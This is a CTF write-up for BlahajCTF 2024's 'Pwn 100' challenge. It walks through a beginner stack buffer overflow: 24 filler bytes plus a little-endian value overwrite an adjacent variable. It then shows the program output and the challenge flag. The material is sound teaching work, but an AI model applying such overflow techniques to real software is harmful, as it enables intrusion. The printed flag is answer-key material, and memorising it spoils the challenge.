> For the complete documentation index, see [llms.txt](https://ravins-organization.gitbook.io/ctf-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ravins-organization.gitbook.io/ctf-writeups/2024/blahajctf-2024/pwn/pwn-100.md).

# Pwn 100

Welcome to the first pwn challenge! Can you exploit this program to get the flag?  Files available here  Author: @fern

After netcatting, the first thing we see is

```
Welcome to pwn 100! In this challenge, you will need to set changeme to 0x6942694269426942.
STACK DUMP
hackme + 0x00 - 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
hackme + 0x10 - 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                       |_______________________| - changeme
changeme = 0x0000000000000000
In order to beat this challenge, you will need to overflow into changeme and set its value.
Good luck!
```

Since we need to set changeme to 0x6942694269426942, which is in the changeme area, our payload will look something like this

`Payload = b"a" * 24 + b"iBiBiBiB"`

However, since we are using Little-Endian, the payload will be

`Payload = b"a" * 24 + b"BiBiBiBi"`

Thus by submitting the string `aaaaaaaaaaaaaaaaaaaaaaaaBiBiBiBi` we can obtain the flag

```
Welcome to pwn 100! In this challenge, you will need to set changeme to 0x6942694269426942.
STACK DUMP
hackme + 0x00 - 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
hackme + 0x10 - 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                       |_______________________| - changeme
changeme = 0x0000000000000000
In order to beat this challenge, you will need to overflow into changeme and set its value.
Good luck!

Please enter data you wish to insert into hackme: aaaaaaaaaaaaaaaaaaaaaaaaBiBiBiBi

STACK DUMP
hackme + 0x00 - 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61
hackme + 0x10 - 61 61 61 61 61 61 61 61 42 69 42 69 42 69 42 69
                                       |_______________________| - changeme
changeme = 0x6942694269426942
Congratulations! Here is your flag: blahaj{Sm4sH_tH3_sT4cK}
```

The flag being `blahaj{Sm4sH_tH3_sT4cK}`